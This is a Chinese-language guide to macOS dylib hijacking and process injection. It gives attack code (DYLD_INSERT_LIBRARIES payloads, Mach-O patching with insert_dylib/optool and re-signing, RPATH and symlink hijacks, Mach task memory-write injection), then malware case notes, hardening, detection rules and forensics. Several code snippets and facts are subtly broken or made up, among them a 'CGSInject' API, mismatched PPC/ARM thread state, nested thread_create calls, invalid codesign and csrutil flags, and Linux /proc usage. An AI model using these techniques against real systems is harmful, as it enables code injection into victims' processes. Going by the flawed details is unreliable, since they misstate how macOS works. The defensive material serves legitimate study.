macOS Dylib 劫持与进程注入完全指南

← 返回指南列表

macOS Dylib 劫持与进程注入完全指南

一、Dylib 基础

动态库(Dynamic Library,dylib)是 macOS 和 iOS 应用的重要组成部分,它们在运行时被加载到进程地址空间,提供代码复用。Dylib 劫持是攻击者注入恶意代码的经典手段。

1.1 Dylib 类型

类型 路径 用途
系统 dylib /usr/lib/、/System/Library/Frameworks/ 系统服务
系统 framework /System/Library/Frameworks/ Objective-C/Swift 框架
应用自带 dylib App.app/Contents/Frameworks/ 应用私有库
嵌入式 dylib App.app/Contents/MacOS/ 第三方库
二进制内嵌 dylib Mach-O 段 linkedit 嵌入
越狱 dylib /usr/lib/(越狱) 系统级注入

1.2 加载机制

macOS 使用 dyld(Dynamic Loader)加载 dylib:

CODE
EXECUTABLE 启动 → dyld 加载 → LC_LOAD_DYLIB 命令 → 解析路径 → 验证签名 → mmap 到内存 → 重定位 → 初始化

1.3 Dylib 加载路径顺序

CODE
1. 硬编码绝对路径
2. @executable_path/
3. @loader_path/
4. @rpath/
5. DYLD_LIBRARY_PATH
6. DYLD_FALLBACK_LIBRARY_PATH
7. 系统默认路径

1.4 Dylib 命令

BASH
# 查看 dylib 依赖
otool -L /path/to/binary

# 查看 rpath
otool -l /path/to/binary | grep -A 3 LC_RPATH

# 查看 load command
otool -h /path/to/binary

# 检查嵌入 dylib
otool -l /path/to/binary | grep -E "LC_LOAD|LC_PRELOAD|LC_LAZY|LC_REEXPORT"

1.5 Mach-O 文件结构

CODE
Mach-O 文件
├── Header (64-byte)
├── Load Commands
│   ├── LC_SEGMENT_64
│   ├── LC_LOAD_DYLIB
│   ├── LC_LOAD_WEAK_DYLIB
│   ├── LC_REEXPORT_DYLIB
│   ├── LC_LAZY_LOAD_DYLIB
│   ├── LC_RPATH
│   ├── LC_LOAD_UPWARD_DYLIB
│   └── LC_PREBOUND_DYLD
├── Data (segments)
│   ├── __TEXT
│   ├── __DATA
│   ├── __LINKEDIT
│   └── ...
└── LinkEdit Data
    ├── Symbol Table
    ├── String Table
    └── Rebase/Relocations

二、Dylib 劫持技术

2.1 DYLD_INSERT_LIBRARIES 注入

经典 macOS 进程注入方法:

BASH
# 1. 编译恶意 dylib
cat > payload.c << 'EOF'
#include <stdio.h>

__attribute__((constructor))
void init() {
    printf("Dylib loaded in PID: %d\n", getpid());
    system("osascript -e 'tell application \"Finder\" to activate'");
}
EOF

clang -shared -fPIC -o payload.dylib payload.c

# 2. 注入到目标进程
DYLD_INSERT_LIBRARIES=./payload.dylib /Applications/Safari.app/Contents/MacOS/Safari

Hardened Runtime 防御:

C
// macOS 10.14+ 默认阻止环境变量注入
// 错误:Library not loaded: @rpath/payload.dylib

2.2 LC_LOAD_DYLIB 劫持

2.2.1 修改二进制文件

PYTHON
# 攻击者修改 Mach-O 添加 LC_LOAD_DYLIB
# 工具:insert_dylib

# 1. 安装工具
git clone https://github.com/Tyilo/insert_dylib
cd insert_dylib && xcodebuild

# 2. 注入 dylib
./insert_dylib /path/to/malicious.dylib /path/to/target_binary

# 3. 重新签名
codesign --force --sign "Developer ID Application: ..." /path/to/target_binary

2.2.2 optool 注入

BASH
# optool 是另一个工具
git clone https://github.com/limneos/optool
cd optool && xcodebuild

./optool install -c load -p "@executable_path/payload.dylib" -t /path/to/target_binary
codesign --force --sign "Apple Development" /path/to/target_binary

2.2.3 macholib Python 库

PYTHON
from macholib.MachO import MachO
from macholib.mach_o import LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB

macho = MachO('/path/to/binary')
for header in macho.headers:
    # 修改 dylib 命令
    pass

2.3 LC_RPATH 劫持

2.3.1 RPATH 解析

Mach-O 中 LC_RPATH 加载路径:

CODE
@rpath/  →  运行时搜索路径集合
    ├── -rpath /usr/local/lib
    ├── -rpath @loader_path/../Frameworks
    └── -rpath /opt/malicious

2.3.2 RPATH 注入

BASH
# 1. 创建恶意 dylib
cat > evil.c << 'EOF'
__attribute__((constructor))
void evil() {
    // 恶意代码
}
EOF
clang -shared -fPIC -o libevildylib.dylib evil.c

# 2. 修改目标二进制 RPATH
otool -l /path/to/target | grep -A 3 LC_RPATH

# 3. 添加新的 RPATH
optool add -c rpath -p /tmp/malicious /path/to/target

2.4 @rpath/@loader_path/@executable_path 攻击

2.4.1 @loader_path 攻击

@loader_path 解析为加载 dylib 的二进制路径。如果二进制位于用户可控目录:

CODE
App.app/Contents/MacOS/binary
@loader_path/../libmalicious.dylib  → App.app/Contents/libmalicious.dylib

攻击者将恶意应用放置到用户下载目录,@loader_path 解析到该目录。

2.4.2 路径穿越攻击

BASH
# 利用软链接
ln -s /tmp/malicious_dylib /Applications/Victim.app/Contents/Frameworks/VictimLib.framework/VictimLib

# 受害者启动应用时,dyld 加载恶意 dylib

2.5 弱签名 dylib 替换

2.5.1 弱签名 dylib 检测

BASH
# 1. 查找弱签名 dylib
for dylib in $(find /Applications -name "*.dylib"); do
    codesign -dvvv "$dylib" 2>&1 | grep -E "Identifier|Authority" | head -2
done

# 2. 查找 ad-hoc 签名
for dylib in $(find /Applications -name "*.dylib"); do
    result=$(codesign -dvvv "$dylib" 2>&1 | grep "Signature")
    if echo "$result" | grep -q "adhoc"; then
        echo "Weak signature: $dylib"
    fi
done

2.5.2 dylib 替换

BASH
# 1. 备份原始 dylib
cp Victim.dylib Victim.dylib.backup

# 2. 替换为恶意版本
cp malicious.dylib Victim.dylib

# 3. 重新签名(如果需要)
codesign --force --sign "Developer ID Application: ..." Victim.dylib

2.6 Bundle 路径攻击

2.6.1 Frameworks 目录劫持

CODE
App.app/Contents/Frameworks/MyLib.framework/MyLib

如果 App.app 在可写目录(~/Downloads/):

  • 攻击者替换 Frameworks 中的 dylib
  • 受害者启动应用时加载恶意 dylib

2.6.2 PlugIns 目录攻击

BASH
# macOS PlugIns 目录
App.app/Contents/PlugIns/

# 攻击者注入恶意插件
cp malicious.bundle App.app/Contents/PlugIns/

2.7 嵌入 dylib 攻击

Mach-O 文件支持在 linkedit 段嵌入 dylib:

PYTHON
# 提取嵌入的 dylib
from macholib.MachO import MachO
import macholib.mach_o

macho = MachO('/path/to/binary')
for header in macho.headers:
    for cmd in header.commands:
        if cmd[0].cmd == LC_ID_DYLIB:
            print(cmd[1])

攻击工具:

  • nm 查看符号
  • dyldinfo 查看 dylib 信息
  • dyld_shared_cache_extract 提取系统 dylib

2.8 弱 RPATH 顺序

BASH
# 检查 RPATH 顺序
otool -l /path/to/binary | grep -A 3 LC_RPATH

# 风险:优先用户路径
@executable_path/../lib  →  当前目录
@loader_path/../lib     →  加载者目录
/usr/local/lib          →  任何用户都可写入

三、进程注入技术

3.1 Mach Task 注入

C
// 经典进程注入
#include <mach/mach_init.h>
#include <mach/mach_vm.h>
#include <mach/task.h>

void inject_task(task_t target_task, void *payload, size_t payload_size) {
    // 1. 分配目标进程内存
    mach_vm_address_t remote_addr = 0;
    mach_vm_allocate(target_task, &remote_addr, payload_size, VM_FLAGS_ANYWHERE);

    // 2. 写入 shellcode
    mach_vm_write(target_task, remote_addr, (vm_offset_t)payload, payload_size);

    // 3. 修改执行权限
    mach_vm_protect(target_task, remote_addr, payload_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);

    // 4. 创建远程线程
    thread_act_t thread;
    thread_create_running(target_task, thread_create(target_task, ARM_THREAD_STATE64), ...);
}

防护:

  • SIP 限制 task_for_pid
  • AMFI 验证任务端口访问
  • Hardened Runtime 阻止 dylib 注入

3.2 posix_spawn 注入

C
#include <spawn.h>

extern char **environ;

int pid;
char *argv[] = {"/bin/sh", "-c", "id", NULL};
posix_spawn(&pid, "/bin/sh", NULL, NULL, argv, environ);

posix_spawn 比 fork+exec 更难被检测。

3.3 task_for_pid 攻击

C
#include <mach/mach_init.h>
#include <mach/task.h>

// 1. 接收任务端口
task_t target_task = ...;

// 2. 读取进程内存
vm_read(target_task, address, size, &out_data, &out_size);

// 3. 写入进程内存
vm_write(target_task, address, data, size);

// 4. 进程内执行
task_for_pid()  // 需要 Full Disk Access 或 root

3.4 直接内存读写(HSW)

C
// 跨进程内存读写
kern_return_t kr = vm_read(
    target_task,
    (vm_address_t)address,
    size,
    &data,
    &dataCnt
);

3.5 代码注入(thread_create_running)

C
thread_act_t thread;
thread_create_running(
    target_task,  // 目标任务
    thread_state, // 初始寄存器状态
    PPC_THREAD_STATE_COUNT,
    &thread
);

3.6 mach_inject

OBJC
// mach_inject 库
#import <mach_inject/mach_inject.h>

mach_error_t err = mach_inject(
    (void *)shellcode,
    shellcode_size,
    pid,
    0  // 标志
);

3.7 CGSInject

C
// CoreGraphics 提供的注入
#import <ApplicationServices/ApplicationServices.h>
#import <CoreGraphics/CoreGraphics.h>

CGError err = CGSInject(pid, (void *)shellcode, shellcode_size);

3.8 Quartz 注入

C
// 通过 Quartz Event Services 注入
CGEventPost(kCGHIDEventTap, event);

3.9 内存修改(修改进程内存)

C
// 经典方法:读取 /proc/{pid}/mem
int fd = open("/proc/PID/mem", O_RDWR);
pread(fd, buffer, size, address);
pwrite(fd, data, size, address);

macOS 没有 /proc,需要其他方法。


四、真实攻击案例

4.1 WindTail 攻击

2019 年针对 macOS 的 APT 攻击:

  • 使用 LC_LOAD_DYLIB 注入
  • 利用 optool 修改目标应用
  • 持久化于 LaunchAgents

4.2 Shlayer 木马

2018-2022 年最活跃的 macOS 恶意软件:

  • 通过 dylib 注入 Safari、Chrome
  • 截取浏览器活动
  • 替换系统 dylib

4.3 XCSSET

2020 年针对 macOS 开发者的供应链攻击:

  • 感染 Xcode 项目
  • 注入 dylib 到开发的应用
  • 收集开发者凭据

4.4 Gmera 木马

2017 年的 macOS 恶意软件:

  • 通过 dylib 注入截图功能
  • Keychain 凭据窃取
  • 持续屏幕监控

4.5 CookieMiner

2019 年针对 macOS 的挖矿木马:

  • dylib 注入浏览器
  • 窃取加密货币钱包
  • 替换门罗币地址

4.6 DazzleSpy

2021 年针对香港的 macOS 后门:

  • dylib 注入
  • 完整远程控制
  • 屏幕监控

五、防御最佳实践

5.1 启用 Hardened Runtime

BASH
# 1. 签名时启用
codesign --options=runtime --entitlements entitlements.plist /path/to/app

# 2. 验证
codesign -d --options-1 /path/to/app
# 输出应包含 runtime

# 3. entitlements.plist 示例
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.cs.allow-dyld-environment-variables</key>
    <false/>
    <key>com.apple.security.cs.allow-jit</key>
    <false/>
    <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
    <false/>
    <key>com.apple.security.cs.disable-library-validation</key>
    <false/>
</dict>
</plist>

5.2 启用库验证

BASH
# 库验证(Library Validation)
codesign --options=library /path/to/app

# 验证
codesign -d --options-1 /path/to/app
# 应显示 0x20000 (library validation)

5.3 部署系统完整性保护

BASH
# 1. SIP 状态
csrutil status

# 2. 启用所有保护
csrutil enable

# 3. 选择性启用
csrutil enable --without kext
csrutil enable --without fs
csrutil enable --without dtrace
csrutil enable --without debug
csrutil enable --without task_for_pid
csrutil enable --without nvram

5.4 监控可疑 dylib

BASH
# 1. 监控 DYLD_INSERT_LIBRARIES
log show --predicate 'eventMessage contains "DYLD_INSERT_LIBRARIES"' --last 1d

# 2. 监控 Mach-O 修改
sudo opensnoop -p $(pgrep Finder) 2>/dev/null

# 3. 监控 dylib 加载
log show --predicate 'eventMessage contains "dyld"' --last 1d

# 4. 进程任务端口访问
log show --predicate 'subsystem == "com.apple.security"' --last 1d

# 5. 监控弱签名 dylib
for dylib in $(find /Applications -name "*.dylib"); do
    codesign -v "$dylib" 2>&1 | grep -i "invalid signature" && echo "Weak: $dylib"
done

5.5 使用 EDR

YAML
# 检测 dylib 注入
- name: Dylib Injection Detected
  condition: process has unsigned dylib
  filter:
    - not in: [com.apple, /System/, /usr/lib]
  severity: high

# 检测 DYLD_INSERT_LIBRARIES
- name: DYLD_INSERT_LIBRARIES Set
  condition: process has DYLD_INSERT_LIBRARIES env var
  severity: critical

# 检测 Mach task 注入
- name: task_for_pid to Foreign Process
  condition: process accesses task port of another process
  severity: high

# 检测进程内存修改
- name: Process Memory Write
  condition: process writes to another process memory
  severity: high

5.6 应用层防御

OBJC
// 1. 验证 dylib 签名
NSString *dylibPath = @"...";
NSDictionary *signingInfo = ...;

// 2. 启用库验证
// 编译时
// -fstack-protector-all
// -fPIE -pie

// 3. 运行时检查
// Mach-O 段检查
// Header 完整性

// 4. 监控 Mach exception ports

5.7 Swift/Objective-C 防御

SWIFT
// 1. 启用编译器保护
// -enable-hardening
// -enable-library-validation
// -runtime-root

// 2. 使用 dylib 黑名单
// 监控特定可疑 dylib

// 3. 监控 Mach-O 加载事件
import Foundation
let task = NSWorkspace.shared.notificationCenter
task.addObserver(forName: .NSWorkspaceDidLaunchApplication, object: nil, queue: .main) { notification in
    // 验证应用
}

六、检测与响应

6.1 检测 dylib 注入

BASH
# 1. 检查可疑 dylib
vmmap <pid> | grep "MALLOC"

# 2. 检查共享库列表
sudo lsof -p <pid> | grep dylib

# 3. 检查链接
otool -L /path/to/binary

# 4. 内存检查
sudo lsof -p <pid> | grep -i dylib
# 关注来自 /tmp、~/Downloads 的 dylib

# 5. 任务端口
vmmap <pid> --summary

6.2 进程行为分析

BASH
# 1. 监控 task_for_pid
log show --predicate 'eventMessage contains "task_for_pid"' --last 1d

# 2. 监控内存写入
log show --predicate 'eventMessage contains "vm_write"' --last 1d

# 3. 监控线程创建
log show --predicate 'eventMessage contains "thread_create"' --last 1d

# 4. 监控 fork
log show --predicate 'subsystem == "com.apple.kernel"' --last 1d

6.3 应急响应

BASH
# 1. 识别可疑进程
ps auxww | grep -v "^root\|^_\|com.apple"

# 2. 收集进程信息
sudo lsof -p <pid>
vmmap <pid>
sample <pid>

# 3. 终止可疑进程
sudo kill -9 <pid>

# 4. 删除恶意 dylib
sudo rm /path/to/malicious.dylib

# 5. 恢复被修改的应用
# 从备份恢复或重新安装

# 6. 检查持久化
ls -la /Library/LaunchAgents/ /Library/LaunchDaemons/

# 7. 重启系统
sudo shutdown -r now

6.4 取证

BASH
# 1. 内存取证(使用 Volatility)
vol -f memory.dmp mac.list_files
vol -f memory.dmp mac.pslist
vol -f memory.dmp mac.pstree
vol -f memory.dmp mac.malfind  # 注入代码检测
vol -f memory.dmp mac.lsmod   # 进程模块
vol -f memory.dmp mac.netstat
vol -f memory.dmp mac.netif

# 2. 磁盘取证
# 收集所有 dylib
find / -name "*.dylib" -mtime -7 2>/dev/null
# 收集可疑 Mach-O
find / -name "*.app" -mtime -7 2>/dev/null

总结

Dylib 劫持与进程注入是 macOS 攻击的经典手段,攻击者通过各种方式将恶意代码加载到合法进程中。防御的核心是:

  1. Hardened Runtime:阻止环境变量注入
  2. 库验证:阻止未签名 dylib
  3. SIP:限制系统级修改
  4. TCC:限制进程间通信
  5. 持续监控:实时检测异常行为
  6. EDR 集成:结合第三方安全工具

随着 macOS 安全机制不断强化,传统的 dylib 注入变得越来越困难,但攻击者会寻找新的注入技术(如 DriverKit 漏洞、Post-Exploitation Framework 滥用)。保持系统更新、部署纵深防御是应对这些威胁的关键。